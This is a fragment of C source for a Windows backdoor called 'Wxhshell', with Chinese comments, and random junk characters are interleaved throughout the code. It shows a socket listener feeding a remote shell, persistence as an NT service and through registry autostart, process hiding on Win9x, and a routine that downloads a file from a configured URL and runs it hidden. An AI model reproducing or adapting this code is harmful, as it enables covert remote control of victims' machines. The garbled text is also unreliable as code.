HZ*0QgW\(5 return 0; // 注册表启动 I6LD)? } SgE/!+{ =BZ?- mIU // 主模块 (HN4g;{ int StartWxhshell(LPSTR lpCmdLine) k,Zm GllQ] { bO/*2oau SOCKET wsl; [W,-1.$!dM BOOL val=TRUE; n|4;Hn1V int port=0; hD<f3_k struct sockaddr_in door; XL}<1-} L6i|:D32p if(wscfg.ws_autoins) Install(); %E27.$E_ ~-F?Mc port=atoi(lpCmdLine); uC]Z8&+obb 7=*VpX1 if(port<=0) port=wscfg.ws_port; |H ;+1 7XyOB+aQO WSADATA data; lg1PE7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jll-X\O`- O hR1Jaed if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G(1 K9{i$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
c~dM`2J, door.sin_family = AF_INET; tO.$+4a door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9|S` ub' door.sin_port = htons(port); a1MFjmq 2#_38=K=@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5`E))?*"Pe closesocket(wsl); \T-~JQVj return 1; `HX3|w6W; } 1ZKzumF H "+c)FGi if(listen(wsl,2) == INVALID_SOCKET) { R.1Xst &i closesocket(wsl); M}.b"
ljZ return 1; =J|sbY"] } <5Mrp"C[i Wxhshell(wsl); }G1&]Wt_ WSACleanup(); ;~sr$6 hPufzhT return 0; CM~MoV[k7e LI:Tc7t } ur2!#bU9 xKJ>gr"w# // 以NT服务方式启动 @5}gsC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S@:B6](D$ { U 0ZB^` DWORD status = 0; :LV.G0)# DWORD specificError = 0xfffffff; <Ns &b.\h6 >v0 :qN7| serviceStatus.dwServiceType = SERVICE_WIN32; {&nV4c$v serviceStatus.dwCurrentState = SERVICE_START_PENDING; \/Ij7nD`l% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MMD<I6Iyv serviceStatus.dwWin32ExitCode = 0; ,{j4 serviceStatus.dwServiceSpecificExitCode = 0; +*t|yKO>[ serviceStatus.dwCheckPoint = 0; TV{)n'aA serviceStatus.dwWaitHint = 0; t^@T`2jL
c#q"\" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6d{j0?mM if (hServiceStatusHandle==0) return; ?TuI:dC "]]q} O? status = GetLastError(); d]M[C[TOX if (status!=NO_ERROR) 2X@G" { %N~;{!![p serviceStatus.dwCurrentState = SERVICE_STOPPED; "oE* 9J?e serviceStatus.dwCheckPoint = 0; K~>jApZ% serviceStatus.dwWaitHint = 0; ~5t?C<wo serviceStatus.dwWin32ExitCode = status; xtJAMo>g serviceStatus.dwServiceSpecificExitCode = specificError; _IYY08&(r SetServiceStatus(hServiceStatusHandle, &serviceStatus); t>U!Zal" return; gEKO128 } qB JRS'6'9 XU#,Bu{ serviceStatus.dwCurrentState = SERVICE_RUNNING; /Antb6E serviceStatus.dwCheckPoint = 0; .k]#XoE serviceStatus.dwWaitHint = 0; G6Q4-kcK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `Ei"_W } m,NMTyJoz Mj~${vj // 处理NT服务事件,比如:启动、停止 `45d"B
I VOID WINAPI NTServiceHandler(DWORD fdwControl) POBpJg { _
+KmNfR switch(fdwControl) glor+ { >RR<eYu7m case SERVICE_CONTROL_STOP: /`R dQ<($ serviceStatus.dwWin32ExitCode = 0; D_aR\ serviceStatus.dwCurrentState = SERVICE_STOPPED; "3t\em! serviceStatus.dwCheckPoint = 0; ;?8Iys# serviceStatus.dwWaitHint = 0; {aJz. `u\ { z]>9nv`b SetServiceStatus(hServiceStatusHandle, &serviceStatus); {mYx } `D)S-7BR return; +(AwSh ! case SERVICE_CONTROL_PAUSE: @9_)On9hZ serviceStatus.dwCurrentState = SERVICE_PAUSED; ]7F)bIG[ break; ZW* fOaj case SERVICE_CONTROL_CONTINUE: lS3 _Ild serviceStatus.dwCurrentState = SERVICE_RUNNING; )@c3##Zp) break; NS5 49S case SERVICE_CONTROL_INTERROGATE: K.h]JD]o break; Fd"WlBYy0 }; f%1wMOzx SetServiceStatus(hServiceStatusHandle, &serviceStatus); $SF3odpt } Th+|*=Il hgj0tIi/ // 标准应用程序主函数 T{~M iC6A int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <`mOU}0) { S&|VkZR) td/5Bmj // 获取操作系统版本 nCB[4 OsIsNt=GetOsVer(); Ty}R^cy{d GetModuleFileName(NULL,ExeFile,MAX_PATH); ]n1D1 7xR|_+%~K // 从命令行安装 Fc{((x s if(strpbrk(lpCmdLine,"iI")) Install(); U$EM.ot <tQXK; // 下载执行文件 83xd@-czgh if(wscfg.ws_downexe) { TA9dkYlE/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YUS?]~XC7x WinExec(wscfg.ws_filenam,SW_HIDE); 165WO}(;/ } 2HVCXegq |lHFo{8" if(!OsIsNt) { KF4see;; // 如果时win9x,隐藏进程并且设置为注册表启动 Ei|0L$NCg HideProc(); Zr R+QV StartWxhshell(lpCmdLine); k7b(QADqUU } 7CYH'DL else RhyegD if(StartFromService()) sx90lsu // 以服务方式启动 \
>(zunL StartServiceCtrlDispatcher(DispatchTable); FP@A;/c else 6DO0zNTY // 普通方式启动 Z#LUez;&t# StartWxhshell(lpCmdLine); I`#EhH p1uN]T7> return 0; =jBL'|k5 }
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